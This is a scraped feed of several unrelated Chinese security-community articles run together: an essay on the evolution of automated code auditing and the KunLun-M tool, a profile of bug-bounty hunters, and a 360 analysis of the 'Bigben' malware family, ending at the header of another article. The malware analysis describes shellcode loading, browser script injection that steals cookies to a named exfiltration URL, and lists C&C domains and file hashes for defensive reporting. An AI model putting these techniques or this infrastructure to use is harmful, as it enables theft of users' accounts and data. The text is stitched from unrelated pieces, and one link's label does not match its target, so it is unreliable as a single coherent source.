* <https://gist.github.com/stecman/3751ac494795164efa82a683130cabe5>
* <https://0xec.blogspot.com/2017/03/hacking-cpython-virtual-machine-to.html>
* <https://rushter.com/blog/python-bytecode-patch/>
* <https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d>
* <https://opensource.com/article/18/4/introduction-python-bytecode>
* <https://bits.theorem.co/protecting-a-python-codebase-part-3/>
* <https://etherscan.io/address/0xd0fe5288c5320bb898498fa45fa4f7c324e1e074>
* <https://www.reddit.com/r/ethereum/comments/3gbhui/how_do_i_generate_an_eth_private_key/>
* [https://walletgenerator.net/?culture=zh¤cy=bitcoin#](https://walletgenerator.net/?culture=zh¤cy=bitcoin#)
* [椭圆曲线加密与NSA后门考古](https://evilpan.com/2020/05/17/ec-crypto/)
* * * | 社区文章 |
**Author：LoRexxar'@Knownsec 404 Team**
**Date: September 23, 2020**
**Chinese Version:<https://paper.seebug.org/1339/>**
Since mankind invented tools, mankind has been exploring how to do anything
more conveniently and quickly. In the process of scientific and technological
development, mankind keeps on trial，error, and thinking. So there is a great
modern technological era. In the security field, every security researcher is
constantly exploring how to automatically solve security problems in various
fields in the process of research. Among them, automated code auditing is the
most important part of security automation.
This time we will talk about the development history of automated code audit.
And by the way, we will talk about the key to an automated static code audit.
# Automated code audit
Before talking about automated code audit tools, we must first understand two
concepts, **missing alarm rate** and **false alarm rate**. - **missing alarm
rate** refers to vulnerabilities/Bugs not found. - **False alarm rate** refers
to the wrong vulnerabilities/Bugs found.
When evaluating all the following automated code audit tools/ideas/concepts,
all evaluation criteria are inseparable from these two points. How to
eliminate the two points or one of them is also the key point in the
development of automated code auditing.
We can simply divide automated code audits (here we are discussing white
boxes) into two categories. One is dynamic code audit tools, and the other is
static code audit tools.
# Features and limitations of dynamic code audit
The principle of the dynamic code audit tool is mainly based on **the code
running process**. We generally call it IAST (Interactive Application Security
Testing).
One of the most common ways is to hook malicious functions or underlying APIs
in some way, and use front-end crawlers to determine whether the malicious
functions are triggered to confirm the vulnerability.
We can understand this process through a simple flowchart.
In the process of front-end Fuzz, if the Hook function is triggered and meets
a certain condition,we will think the vulnerability exists.
The advantage of this type of scanning tool is that the vulnerabilities
discovered have a low rate of false positives, and do not rely on code.
Generally speaking, triggering a rule means that we can perform malicious
actions. And being able to track dynamic calls is also one of the main
advantages of this method.
But there are many disadvantages (1) The front-end Fuzz crawler can guarantee
the coverage of normal functions, but it is difficult to guarantee the
coverage of code functions.
If you have used dynamic code audit tools to scan a large number of codes, it
is not difficult to find that the scan results of such tools for
vulnerabilities will not have any advantages over pure black box vulnerability
scanning tools. The biggest problem is mainly the coverage of code functions.
Generally speaking, it is difficult for you to guarantee that all the
developed codes serve the features of the website. Perhaps the redundant code
is left behind during the old version, or the developers did not realize that
they wrote the code below will not just execute as expected. There are too
many vulnerabilities that cannot be discovered directly from the front-end
features. And some functions may need to be triggered by specific environments
and specific requests. In this way, code coverage cannot be guaranteed. So how
can it be guaranteed that vulnerabilities can be found?
(2) Dynamic code auditing depends on the underlying environment and check
strategies
Since the vulnerability identification of dynamic code audit mainly relies on
Hook malicious functions, for different languages and different platforms,
dynamic code audit often needs to design different hook schemes. If the depth
of the hook is not enough, a depth frame may not be able to scan.
Take PHP as an example. The more mature Hook solution is implemented through a
PHP plug-in. Such like:
* <https://github.com/fate0/prvd>
Due to this reason, general dynamic code audits rarely scan multiple languages
at the same time, and generally target a certain language.
Second, Hook's strategy also requires many different restrictions. Take PHP's
XSS as an example. It does not mean that a request that triggers the echo
function should be identified as XSS. Similarly, in order not to affect the
normal function, it is not that the echo function parameter contains
`<script>` to be considered an XSS vulnerability. In the dynamic code audit
strategy, a more reasonable front-end -> Hook strategy discrimination scheme
is required, otherwise a large number of false positives will occur.
In addition to the previous problems, the strong dependence on the
environment, the demand for execution efficiency, and the difficulty of
integrating with business code also exist. When the shortcomings of dynamic
code auditing are constantly exposed, from the author's point of view, dynamic
code auditing has conflicts between the principle itself and the problem, so
in the development process of automation tools, more and more eyes are put
back to the Static code audit (SAST).
# The development of static code audit tools
The static code audit mainly analyzes the target code, analyzes and processes
through pure static means, and explores the corresponding
vulnerabilities/Bugs.
Different from dynamic, static code audit tools have undergone a long-term
development and evolution process. Let's review them together (the relative
development period mainly represented by each period below is not relatively
absolute before and after birth):
## Keyword Match
If I ask you "If you were asked to design an automated code audit tool, how
would you design it?", I believe you will answer me that you can try to match
keywords. Then you will quickly realize the problem of keyword matching.
Here we take PHP as a simple example.
Although we matched this simple vulnerability, we quickly discovered that
things were not that simple.
Maybe you said that you can re-match this problem with simple keywords.
\beval\(\$
Unfortunately, as a security researcher, you will never know how developers
write code. So if you choose to use keyword matching, you will face two
choices:
* High coverage
The most classic of this type of tool is Seay, which uses simple keywords to
match more likely targets. And then users can further confirm through manual
audits.
\beval\b\(
-High availability
The most classic of these tools is the free version of Rips.
\beval\b\(\$_(GET|POST)
Use more regulars to constrain and use more rules to cover multiple
situations. This is also the common implementation method of early static
automated code audit tools.
But the problem is obvious. **High coverage and high availability are flaws
that this implementation method can never solve. Not only is the maintenance
cost huge, but the false alarm rate and the missing alarm rate are also
high**. Therefore, being eliminated by the times is also a historical
necessity.
## the AST-based code audit
Some people ignore the problem, while others solve it. The biggest problem
with keyword matching is that you will never be able to guarantee the habits
of developers, and you will not be able to confirm vulnerabilities through any
standard matching. Then the AST-based code audit method was born. Developers
are different, but the compiler is the same.
Before sharing this principle, we can first reproduce the compilation
principle. Take the PHP code example:
With the birth of PHP7, AST also appeared in the compilation process as an
intermediate layer of PHP interpretation and execution.
Through lexical analysis and syntax analysis, we can convert any piece of code
into an AST syntax tree. Common semantic analysis libraries can refer to:
* <https://github.com/nikic/PHP-Parser>
* <https://github.com/viraptor/phply>
When we got an AST syntax tree, we solved the biggest problem of keyword
matching mentioned earlier. At least we now have a unified AST syntax tree for
different codes. How to analyze the AST syntax tree has become the biggest
problem of such tools.
Before understanding how to analyze the AST syntax tree, we must first
understand the three concepts of **information flow, source, and sink**.
* source: We can simply call it the input, which is the starting point of the information flow.
* sink: We can call it the output, which is the end of the information flow.
The information flow refers to the process of data flowing from source to
sink.
Put this concept in the PHP code audit process, Source refers to user-controllable input, such as `$_GET, $_POST`, etc. While Sink refers to the
sensitive function we want to find, such as `echo, eval`. If there is a
complete flow from a Source to Sink, then we can think that there is a
controllable vulnerability, which is based on the principle of code auditing
of information flow.
After understanding the basic principles, I will give a few simple examples:
In the above analysis process, Sink is the eval function, and the source is
`$_GET`. Through reverse analysis of the source of Sink, we successfully found
an information flow that flows to Sink, and successfully discovered this
vulnerability.
ps: Of course, some people may be curious about why you choose reverse
analysis flow instead of forward analysis flow. This problem will continue to
penetrate in the subsequent analysis process, and you will gradually
understand its key points.
In the process of analyzing information flow, **clear scope is the base of
analyze.** This is also the key to analyzing information flow, we can take a
look at a simple code.
If we simply go back through the left and right values without considering the
function definition, we can easily define the flow as:
In this way, we mistakenly defined this code as a vul, but obviously not, and
the correct analysis process should be like this:
In this code, from the scope of the main syntax tree to the scope of the Get
function. **how to control the change of this scope is a major difficulty
based on the analysis of the AST syntax tree**. When we cannot in the code
When avoiding the use of recursion to control the scope, the unified standard
in the multi-layer recursion has become the core problem of the analysis.
In fact, even if you handle this simplest core problem, you will encounter
endless problems. Here I give two simple examples.
(1) New function wrapper
This is a very classic piece of code. The sensitive function is wrappered to a
new sensitive function, and the parameters are passed twice. In order to solve
this problem, the direction of the information flow is reverse -> forward.
Control the scope by creating a large scope.
(2) Multiple call chain
This is a JS code with loopholes, it is easy to see the problem manually. But
if you trace back the parameters in an automated way, you will find that there
are multiple flow directions involved in the entire process.
Here I use red and yellow to represent the two flow directions of the flow.
This problem can only be solved by special backtracking for class/dictionary
variables.
If it is said that the first two problems can be solved, there are still many
problems that cannot be solved. Here is a simple example.
This is a typical global filter. And manual audit can easily see that it is
filtered. But if in the process of automated analysis, when the source is
backtracked to `$_GET['a']`, the information flow from Source to sink has been
found. A typical false alarm occurs.
And the automated code audit tool based on AST is also playing a game with
such problems, from the well-known Rips and Cobra in PHP automated code audit
to my own secondary development Cobra-W.
* <https://www.ripstech.com/>
* <https://github.com/WhaleShark-Team/cobra>
* <https://github.com/LoRexxar/Kunlun-M>
They are all in different ways and methods to optimize the results of the
information flow analysis, and the biggest difference is the two cores of
**high availability and high coverage** that are inseparable.
* Cobra is a static automated code scanner developed by the Mogujie security team. The low false negative rate is the core of this type of tool, because Party A cannot bear the consequences of undiscovered vulnerabilities, which is why this type of tool focuses on optimization key.
After I found that it was impossible to trace the process of each stream
perfectly, I put the positioning of the tool on the white hat for personal
use. From the initial Cobra-W to the KunLun-M, I focused on the low false
alarm rate.I will only recognize the accurate and reliable flow. Otherwise, I
will mark it as a suspected vulnerability, and customize the custom function
and detailed log in the multi-ring, so that the security researcher can target
the target multiple times during the use process Optimize scanning.
For AST-based code analysis, the biggest challenge is that no one can
guarantee that they can handle all AST structures perfectly. Coupled with the
one-way flow-based analysis method, **they cannot cope with 100% of the
scenes**. It is the problem faced by such tools (or, this is why the reverse
engineering is chosen).
## Code analysis based on IR/CFG
If you have a deep understanding of the principles of AST-based code analysis,
you will find many disadvantages of AST. First of all, AST is the upper layer
of IR/CFG in the compilation principle, and the nodes saved in the ast are
closer to the source code structure.
In other words, analyzing AST is closer to analyzing code. In other words, the
flow based on AST analysis is closer to the flow of code execution in the
mind, ignoring most branches, jumps, and loops that affect execution. The
condition of the process sequence is also a common solution based on AST code
analysis. Of course, it is difficult to distinguish the consequences of
ignoring from the result theory. So **based on IR/CFG solutions with control
flow, it is now a more mainstream code analysis solution. But it is not the
only**.
First of all, we have to know what IR/CFG is. \- IR: It is a linear code
similar to assembly language, in which each instruction is executed in
sequence. Among them, the mainstream IR is a three-address code (quadruple).
\- CFG: (Control flow graph) control flow graph. The simplest control flow
unit in the program is a basic block. In CFG, each node represents a basic
block, and each edge represents a controllable control transfer. CFG
represents the control flow chart of the entire code.
Generally speaking, we need to traverse the IR to generate CFG, which needs to
follow certain rules. But we won't mention it if it is not the main content
here. Of course, you can also use AST to generate CFG. After all, AST is a
higher level.
The advantage of code analysis based on CFG is that for a piece of code, you
first have a control flow diagram (or execution sequence). And then you get to
the vulnerability mining step. **Compared with AST-based code analysis, you
only need to focus on the process from Source to Sink**.
Based on the control flow graph, the subsequent analysis process is not much
different from AST. The core of the challenge is still how to control the
flow, maintain the scope, handle the branching process of the program logic,
and confirm the Source and Sink.
Of course, since there is code analysis based on AST and code analysis based
on CFG, there are naturally other types. For example, the mainstream fortify,
Checkmarx, Coverity and the latest Rips in the market all use an intermediate
part of the language constructed by themselves. For example, fortify and
Coverity need to analyze an intermediate language compiled from source code.
The source umbrella, which was acquired by Ali some time ago, even realized
the generation of a unified IR in multiple languages. So the difficulty of
scanning support for new languages has been greatly reduced.
In fact, whether it is based on AST, CFG, or a self-made intermediate
language, modern code analysis ideas have become clear. And a unified data
structure has become the base of modern code analysis.
## The future - the .QL concept
.QL refers to an object-oriented query language for querying data from
relational databases. Our common SQL is a kind of QL, which is generally used
to query data stored in the database. Of course, what I mean here is more of
the logic used to query the relationship, not related to SQL.
In the field of code analysis, Semmle QL is the first QL language that was
born. It was first applied to LGTM and used for Github's built-in security
scanning to provide free for the public. Immediately afterwards, CodeQL was
also developed as a stable QL framework in the community of github.
* <https://securitylab.github.com/tools/codeql>
* <https://semmle.com/codeql>
So what is QL? What does QL have to do with code analysis?
First of all, let's review the biggest feature of code analysis based on AST
and CFG. No matter what kind of middleware is based on the code analysis
process, three concepts are inseparable, flow, Source and Sink. **The
principle of this kind of code analysis, whether it is forward or reverse, is
to find in Source and Sink One stream**. The establishment of this flow
revolves around the flow of code execution, just like a compiler compiling and
running, the program always runs in a stream. This way of analysis is Data
Flow.
QL is to visualize each link of this flow, visualize the operation of each
node as a state change, and store it in the database. In this way, by
constructing the QL language, we can find nodes that meet the conditions and
construct them into streams. Let me give a simple example:
<?php
$a = $_GET['a'];
$b = htmlspecialchars($a);
echo $b;
We simply write the previous stream as an expression.
echo => $_GET.is_filterxss
Here `is_filterxss` is considered to be a mark of input `$_GET`. When
analyzing this kind of vulnerability, we can directly express it in QL.
select * where {
Source : $_GET,
Sink : echo,
is_filterxss : False,
}
We can find this vulnerability (the code above is only pseudo-code). From such
an example, it is not difficult to find that QL is actually closer to a
concept. And it encourages the visualization of information flow so that we
can use a more general way Go write rule screening.
It is also on this basis that CodeQL was born. It is more like a basic
platform, so you don’t need to worry about the underlying logic. Whether to
use AST or CFG or a certain platform, you can simplify the automated code
analysis into We need to use what kind of rules to find the characteristics
that satisfy a certain vulnerability. This concept is also the mainstream
realization idea of modern code analysis, which is to transfer the demand to a
higher level.
# talk abort KunLun-M
Like most security researchers, my work involves a lot of code auditing. Every
time I audit a new code or framework, I need to spend a lot of time and cost
to get familiar with debugging. When I first came into contact with automated
code auditing , I just hope to help me save some time.
The first project I came across was Cobra from the Mogujie team.
* <https://github.com/WhaleShark-Team/cobra>
This should be the earliest open source automated code audit tool for Party A.
In addition to some basic feature scanning, AST analysis was also introduced
as an auxiliary means to confirm vulnerabilities.
In the process of using it, I found that the first version of Cobra had too
few restrictions on the AST, and did not even support include (then it was
2017). So I corrected Cobra-W and deleted a large number of open source
vulnerabilities. Scanning solutions (such as scanning low-level packages of
java),the needs of Party A that I can’t use...and deeply reconstructed the AST
backtracking part (more than a thousand lines of code), and reconstructed the
underlying logic to make it compatible windows.
In the long-term use process, I encountered a lot of problems and scenarios
(the vulnerability sample I wrote to reproduce the bug has more than a dozen
folders). The simpler ones are the new ones mentioned in the previous
vulnerability sample Function encapsulation. And finally a large recursive
logic is added to create a new scan task to solve it. I also encountered
various problems such as Hook's global input, self-implemented filter
function, branch and loop jump process, among which nearly 40 issues were
created by myself...
* <https://github.com/LoRexxar/Kunlun-M/issues>
In order to solve these problems, I refactored the corresponding syntax
analysis logic according to the underlying logic of phply. Added the concept
of Tamper to solve self-implemented filter functions. Introduced the
asynchronous logic of python3, optimized the scanning process, etc...
It was during the maintenance process that I gradually learned the current
mainstream CFG-based code analysis process, and also found that I should self-implement a CFG analysis logic based on AST...Until the emergence of Semmle
QL, I realized it again the concept of data flow analysis. These concepts of
code analysis are also constantly affecting me during the maintenance process.
In September 2020, I officially changed the name of Cobra-W to KunLun-M. In
this version, I largely eliminated the logic of regular + AST analysis,
because this logic violates the basis of streaming analysis, and then added I
used Sqlite as a database, added a Console mode for easy use, and also
disclosed some rules about javascript code that I developed before.
* <https://github.com/LoRexxar/Kunlun-M>
KunLun-M may not be an automated code audit tool with technical advantages,
but it is the only open source code audit tool that is still maintained. In
the course of years of research, I have deeply experienced the information
barriers related to white box auditing. Mature white-box audit vendors include
fortify, Checkmarx, Coverity, rips. And source umbrella scanners are all
commercial closed-source. Many domestic vendors’ white-box teams are still in
their early stages. Many things are crossing the river by feeling the stones
and want to learn. In recent years, I have only seen the "Software Analysis"
of Nanjing University. Many things can only read paper... I also hope that the
open source of KunLun-M and this article can also be brought to the
corresponding practitioners. Some help.
At the same time, KunLun-M is also a member of the Starlink project, adhering
to the principle of open source and long-term maintenance. And it is hoped
that KunLun-M can serve as a star to link every security researcher.
the Starlink project: \- <https://github.com/knownsec/404StarLink-Project>
* * * | 社区文章 |
先知是什么？
在《圣经》中，先知摩西高举手杖，在波涛汹涌的红海中打开一条通路，带着以色列人走出埃及,前往应许之地；在网络游戏中，先知身处战场的远端，于股掌之间操控着风云变幻的战局。
在安全圈，也有着这样的“先知”：先知不是某一个人，而是一群白帽子。他们是互联网安全的观察者，静静地发掘着每一个潜在的危机。
以一行行代码作为手中的法杖，他们引领着互联网走在更安全、更开放的道路上，共同创造着互联网安全的新世界。
安全脉搏：上百个漏洞，十万多奖金
纵览“先知”平台的名人榜榜单，你会发现，有一个名字时常盘踞在前几名的位置，他就是安全脉搏。
从加入先知平台到今天，安全脉搏已经提交了上百个漏洞，成为先知积分排行第一的白帽子，但提到这一傲人成绩时，他的语气轻描淡写，随意得如同在谈午餐吃了什么：“大概吧，记不太清了。”
安全脉搏的黑客之路始于2005年：大学时，他被一位学长的逆向破解技术所折服，有意拜师学艺，学长却告诉他：“你先学好汇编吧。”过了一段时间，他偶然在街角的报刊亭看到一本《黑客手册》，竟由此发现了新世界的大门：web渗透。“当时觉得web渗透成就感更强，于是走上了这条不归路。”
加入“先知”后的斐然成就，让旁人对安全脉搏艳羡不已，直呼“大神”，但他却从不以此自傲：“做白帽，最重要的还是保持平常心。”
对于众测平台的优势，作为从业者的他深有感受：“从漏洞发现数量、效果及周期上来说，众测平台确实好一些，毕竟众人拾柴火焰高嘛。”他还希望看到更多的白帽子加入这一行列：“想和先知上大神同台竞技的话，这是一个不错的机会，还可以顺便赚点零花。”
说是“赚点零花”，但事实上，白帽子在“先知”上的所获，远超零花钱的范畴：不同等级的漏洞都有相应奖励，单个漏洞最高可以达到五万元。每个月的月奖之星月入都超过一万。时至今日，安全脉搏已经在先知平台上累计获得奖金十万多。丰厚的奖金固然是一种激励，但他还收获了更重要的东西，那就是“名利之外对技术原始的热爱和疆场匹敌的豪情。”
除了白帽子的身份，他还坚持带领安识科技的团队运营着优质技术自媒体社区<http://www.secpulse.com，用技术亲手为安全世界添砖加瓦的同时，他也通过自己的声音，让更多的人能深入了解互联网安全。>
独自等待：高中就立志当黑客
虽然并非安全从业者，但在安全圈，独自等待已经算得上是老资格了：除了“先知”的平台漏洞挖掘者，他还是资深网络安全博主，waitalone.cn的掌门人。
在提到自己在“先知”上的成绩时，他神秘地笑着，“不便透露，进驻你就知道了。”大牛们挖洞速度实在太快了，压力山大啊。”“大牛”说的不是别人，正是“安全脉搏”。话虽如此，但在先知的名人榜上，他的成绩仅次于安全脉搏，排名第二位。
独自等待的安全生涯是从一本书开始的：高一时，他在学校对面的小书店偶然看到一本凯文·米特尼克的自传，立刻被深深征服。此后，他放弃了订阅多年的杂志《科技纵横》，取而代之的是各种黑客杂志：《非安全》《黑客手册》《黑客防线》《黑客x档案》。当时，电脑尚未普及，独自等待对安全的认识也只能停留在理论阶段，直到上了大学，他才有机会接触到真正的IT技术，还亲历当年举世瞩目的中美黑客大战。
如今，独自等待依然坚持运营着自己的安全博客：<http://www.waitalone.cn。该博客建立于2009年2月14号，到今天已有七年时间。提及自己的“小天地”，他带着几分得意和自豪：“虽然我技术一般，但多少还能为各位新手小伙伴提供一个知识分享的平台。”>
在“先知”的名人榜榜单上，独自等待的头像尤为显眼：一个Q版的超人骄傲地笑着，鲜红的斗篷正随着风上下翻飞。他本人正像是一个小小的超级英雄，凭借着自己的能力守望着安全的天空。
男仔无才：挖漏洞就像打怪升级
“男仔无才”的名字带着明显的调侃意味：在世俗标准里，“男子”是必须能够建立一番功业的，要是“无才”，那成了什么了？他却偏偏用“男子无才”四个字作为ID。
据了解，之所以用这样一个ID，是要告诫自己要保持低调，继续努力，直到得到自己的认可。实际上，他也并非真的“无才”：能登上“先知”的名人榜，这哪是平庸之辈能做到的？
有趣的人通常都对世界充满了好奇心，男仔无才也不例外，他进入安全圈，就是因为对于新知识的好奇：大学期间在网络中心做维护，他发现网站代码里总有一些奇怪的链接。“这究竟是哪里来的，感觉很酷。”出于这样的好奇，他开始接触安全技术，读研时更是索性选择了网络安全专业。
大学期间接触了SRC和漏洞平台的男仔无才在听说先知平台以后，就合计着“过来尝试尝试”。“现在的安全氛围挺不错的，在研究技术的同时还可以赚一些外快。比如一个在校生，通过挖漏洞已经可以基本解决自己的生活费用，大牛们更是做到足以补贴家用了。自己能获取一些生活所需，又能帮助企业的安全建设，利人利己，何乐而不为呢？”
男仔无才的生活准则是“踏实地学习，快乐地生活”。他这样解释“踏实地学习”：“别人学习的时候你也在学习，那是应该的；别人在玩的时候你在学习，那是赚的。”后半句则无需多言，安全研究已经赋予他足够的乐趣。对他来说，先知的模式就像是网络游戏一样充满乐趣，不同点在于，游戏需要投入，挖漏洞却可以赚钱：“赚些零花钱买点儿花生瓜子小吃果盘饮料啥的，多好啊。”
对于未来，他的期许也幽默感十足：“期待先知的下一个版本，让所有拿到积分的童鞋都可以兑换上小礼物，至少应该换件T-shirt嘛——大牛们在群里一直嚷着没衣服穿，都要光着腚啦。”
熊猫：“人是最大的bug”
在提及安全最薄弱的环节时，“男仔无才”笑着说：“大概是人吧，因为是人在一直写bug。”在这一点上，没有谁比熊猫感受得更深刻了。
“人才是一个企业的根本，以前人们总是说，安全源于信息的不对称，漏洞产生于人们对安全的无知。现在我们可以借助许多先进的扫描器去发现很多系统上的漏洞，但是并没有去试图解决那个导致漏洞的人，也就无法避免再出现类似的错误。只有从根本上去加强企业人员的安全素质，才可以更好地推行企业安全制度，从根本上解决企业安全问题。”
对于人造成的安全问题，熊猫认为好的解决之道也在于人，而众测恰恰“以人为本”的：“安全包含方方面面，每个人的擅长的领域也各不相同，众测会让你发挥你擅长的东西去进行测试，各个层面最擅长的人去做自己最擅长的事情，尽可能多地为企业发现漏洞。并且有运营人员的把控，减少了厂商和白帽子之间不必要的麻烦。”
对于新人，熊猫郑重地给出了一句忠告：“千万别来。”随后他又笑着补充了一句：“你们来了，我的奖金肯定被你们抢光啦，哈哈。” | 社区文章 |
# 走近了解，隐私大盗“Bigben”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 背景
近日，360核心安全团队截获到一种隐藏在流氓推广中的隐私大盗，此类病毒有着正常的签名信息，伪装为其他软件压缩包的图标，在进行流氓推广的同时还收集了大量用户隐私数据。在5月欧盟刚刚颁布称为最严的数据保护条例GDPR的情况下，此病毒也算是无视法规，专踩雷区。
为了躲避取证和查杀，此类病毒大量使用了ShellCode和隐蔽加载技术，如果仅仅用作流氓推广，可谓是“高射炮打蚊子，大材小用”，经过安全专家进一步分析发现，该病毒通过各种绕路后，插入浏览器的恶意代码可以轻松获取各种账号和cookie信息，即便是https加密的网站也难逃此劫，严重威胁到用户的隐私安全。
由于该类软件都是通过一个名为“Bigben”的开关来控制恶意行为，因此安全专家将此类家族命名为“Bigben”家族，下面让我们一起走进“Bigben”病毒家族，了解一下病毒具体特征。
## 0x2 特征
“Bigben”病毒家族在文件图标、文件名和文件签名这三个方面有着显著的特征。
1）图标特征
病毒家族自被发现以来，均将自身图标伪装成压缩包文档，如下所示，在XP之后的系统上，应用图标上会有一个管理员运行标志。
图标特征 （WindowsXP后）
2）文件名特征
“Bigben”病毒家族伪装的文件名有两种方式：
* 一种是由小写字母和数字组成的12位的随机名称，如h9duugze1n6a
* 一种是伪装成第三方软件名称，其格式为“【第三方软件名称】_xxx-xxx___”，如sony_vegas_pro_13-32_1da-869___
伪装名称
|
伪装名称
---|---
minecraft_0_12_1_build11_555-a98___.exe
|
5fmtcyl8ugf7.exe
sommand-sonquer-generals_pirate_297-8f2___.exe |
ixlnfyafoirv.exe
cheatengine67_246-150___.exe
|
rzgu8f2qnvw8.exe
3）签名特征
“Bigben”家族都携带了完整的文件签名信息，其签名均是国外公司签名，其中以“OOO”类有限责任公司和”LLC”类有限责任公司为主，以下为部分使用过的签名名称。
常用签名名称
|
常用签名名称
---|---
LADA, OOO
|
STIRKA, LLC
RODIS-K OOO |
Gross LLC
MEDIDO OOO |
VIK-TORI LLC
INTELLEKT, OOO |
Sundus, LLC
OBUV OOO |
LEILA BIS, LLC
OOO, INTELLEKT |
SOFT EKSPERT LLC
OOO, GROK |
Dort LLC
OOO YULIYA |
LYUDMILA LLC
OOO. LOGOF | TOV LEILA BIS
OOO “Stroy Info Tehno” | TOV “RED TABURET”
TOV. PRODUKTY |
LLC. PRO-STO
TOV, I T S |
LLC KOL-TORG
TOV. PRO-STO |
LLC INDOMEDI
KRASTER TOV |
LLC, Kol-Torg
KROK-AVTO, TOV |
LLC LYUDMILA
KENDI MASTER, TOV |
LLC, Myaso
GROSS |
FORTUNA PARTNERS, LTD
LTD Dba Motors
|
DBA MOTORS LTD
## 0x3 行为分析
“Bigben”病毒家族的主要恶意行为有流氓推广和窃取用户隐私数据，两种恶意行为都受云端控制，代码逻辑包含各种环境检测和判断，普通沙箱难以检出其恶意行为。
简化的执行流程如下图所示：
“Bigben”病毒执行流程
“Bigben”的执行流程主要分为两大部分：预处理部分和恶意操作部分
**1** **）预处理部分**
包括释放Shellcode，内存加载模块以及同云端交互三部分：
**释放Shellcode**
“Bigben”在入口代码中混淆了无关代码，来干扰分析，如下图所示。
从模块基地址的偏移0x2055A处读取长度为0x1926的Shellcode，并解密执行。
**Shellcode** **内存加载恶意PE**
在Shellcode中，从模块的三个不同位置读取出PE数据，拼接上并解密。
然后内存加载该恶意模块，该模块是“Bigben”的执行主体。
在模块基地址偏移0xE0处写入解密后的远程服务器地址，该地址将被内存加载的PE使用。
“Bigben”除了使用GetTickCount的方式来检测反调试之外，还是用VirtualProtect和异常处理方式来改变程序执行流程，增加分析难度。
**云端交互**
“Bigben”与C&C服务器先后进行两次交互，网络数据均采用加密方式。
在第一次网络交互中，Bigben从上述URL中获取的是一个JSON数据，其中包括了浏览器将要打开的推广网址（url），需要搜集的用户信息类型（checks），伪装的下载文件名称（name），解密后的JSON数据如下图。
第二次网络交互会将收集的系统信息POST给C&C服务器，其中包含了用户系统的各种信息，如下图。
同时从C&C服务器获得云控数据，用于控制“Bigben”行为，如下图所示。
当“Bigben”为1的时候，“Bigben”使用默认浏览器打开第一次网络交互中获得的url（[http://mentalaware.gdn/Readme.txt](http://snap.contentssl.com/f/stats.php)）并自删除。
当“Bigben”为0的时候，“Bigben”才会触发其他恶意操作，伪造下载软件（discord
vigilante-1-c5-a26.zip）的界面，该下载界面是“Bigben”自绘的，其实并无网络操作，然后再继续进行软件推广，窃取网站账户信息等恶意操作，如下图。
**2** **） 恶意操作部分**
包括窃取网站Cookie，流氓推广以及锁定浏览器主页。
**窃取网站Cookie**
该恶意模块的主要执行流程如下：
****
窃取Cookie模块执行流程
通过使用第三方驱动NetFilterSDK来篡改HTTP和HTTPS协议，在网页中注入恶意的JS脚本来达到窃取网站Cookie的目的，此种窃取Cookie的行为是无针对性的，用户浏览过的所有网页都会被注入恶意脚本，效果如下图所示。
其中插入的JS代码由云端的rules.xml控制。
真正的窃取Cookie的恶意脚本隐藏在两次<script>间接调用中，将用户浏览网站的Cookie等信息上传至<http://snap.contentssl.com/f/stats.php>。
****
****
同时该模块也会添加计划任务，每天该时刻启动自身。
****
**流氓推广**
**“**
Bigben”在获取云控信息后，下载指定的恶意推广包，然后静默安装，同时会复制出多个自身，通过携带不同的参数，分别进行IE主页锁定，篡改默认浏览器设置等，执行完毕之后，会执行自删除，如下所示。
**自删除**
“Bigben”在执行完上述恶意操作后，会通过获取文件资源管理器explorer.exe的pid，得到其token，然后使用CreateProcessAsUser的方式，伪造成explorer.exe打开cmd.exe来进行自删除操作。
## 0x4 相关信息
1. MD5信息
MD5
|
MD5
---|---
014CAD587EEA1133F37E9A05916E4610 |
05EDA4CFE7FCFA91F9D08F03F4E3C3B1
0E9B255496417326710C14AFB7B35ED3 |
10DFEF14FACD08DA050E34533A6D8225
11139E0B69044FFD463C440F5C7BB71F |
15DAE8AAB3FB169BA2D7BE97337AA6A2
17D9454EC633168DE6DAD84D941ED1E3 |
21B123A4A580B7476823BDE1E5BB322E
353F0FCE5289B4796928A498284FB15B |
38D90F1D20700473D2A4A4CEB5BF7502
39CB2170DD2C4F3DA000D464DE539750 |
3900951EFDE57EC00329D55EA0871AFB
3A5A6C18BE16813AF7626D92A30B672D
|
3DC6B647E187B7A1D5305FD8664643FC
402721A8CBD6FE09DD5D1302CADFF471
|
408697668956E57FD10DBB7349AB4EFC
4441705847710738DB2245BECA02E225
|
4697693EC3A4AA50F1EE6882AC759744
47185F85A0F97D03F4E38946B49778C5
|
582D601875030AFC132EEAB8FBFA52D4
4E13310E25BF4145AD9EDD72EFE754BC
|
5802856BD203F44614D5E6B4D1805874
50C218DFCD8F6ABC10AE028B3FE78737
|
5ACA96D9AEF92D0FF2F85E1C1B8C08B6
561D329D14BA923882BD9D3D7C7C9972
|
DD6F8263D7FDF385DC76CFBE1338F3A2
716FC4910CDA1DA42C60327AAAFA4B80
|
DF2B371ABC77F08BF81798AF9612B4E6
735588F199A86F273A7B3263E9D620F1
|
F25AA53AF7785C0494253E0F387F7BDF
C15504CCFBE99664046E9CE6CEC942A2
|
FD9EFE94B35DDA44355EBAC67D8F0BB9
BC25ADECC3C927CEA823BB185D14B607
|
FFA61FF3BAE5889412A2EC762BF39CBC
A34C6F0B6108C8CF49CAA7E45D6C9328
|
FF158CEAA4C5BBB834360FAD4B8C5D4E
2. C&C服务器信息
C&C地址
|
C&C地址
---|---
zircfzahvlii.ginanklesquare.ru | 0b2.ru
g.azmagis.ru |
njupire.ru
g.embokhay.ru |
delightsquad.ru
g.misterbush.ru |
quicklygood.gdn
adblocks.ru |
s.kometa-stat.ru
kometa-stat.ru |
kometa-update.ru
cdn.kometa-bin.ru |
cdn.kometa-bin.ru
tkcdoglnstdpwei.sightlogfight.ru |
husbandcandleru-vqw2fylh.stackpathdns.com
## 0x5 专家建议
目前，360全线产品已经在第一时间对“Bigben”家族进行查杀，能够及时保障用户的系统和隐私安全。除此之外，360安全专家还向广大用户给出以下建议：
1. 请开启系统关于显示文件后缀名的选项，来判断文件的真正类型，以免被伪装成文档类的恶意软件欺骗。
2. 请去官网下载相应的软件，减少软件被非法篡改的风险。
3. 请不要轻易对可疑软件放行并添加信任。
4. 如果发现系统出现异常，变得响应卡顿，或被安装莫名的推广软件等，怀疑是否已经中招，请及时使用360安全软件进行全盘扫描检查。
审核人：yiwang 编辑：边边 | 社区文章 |
作者：youzuzhang、zhenyiguo、murphyzhang@云鼎实验室
#### 一、背景
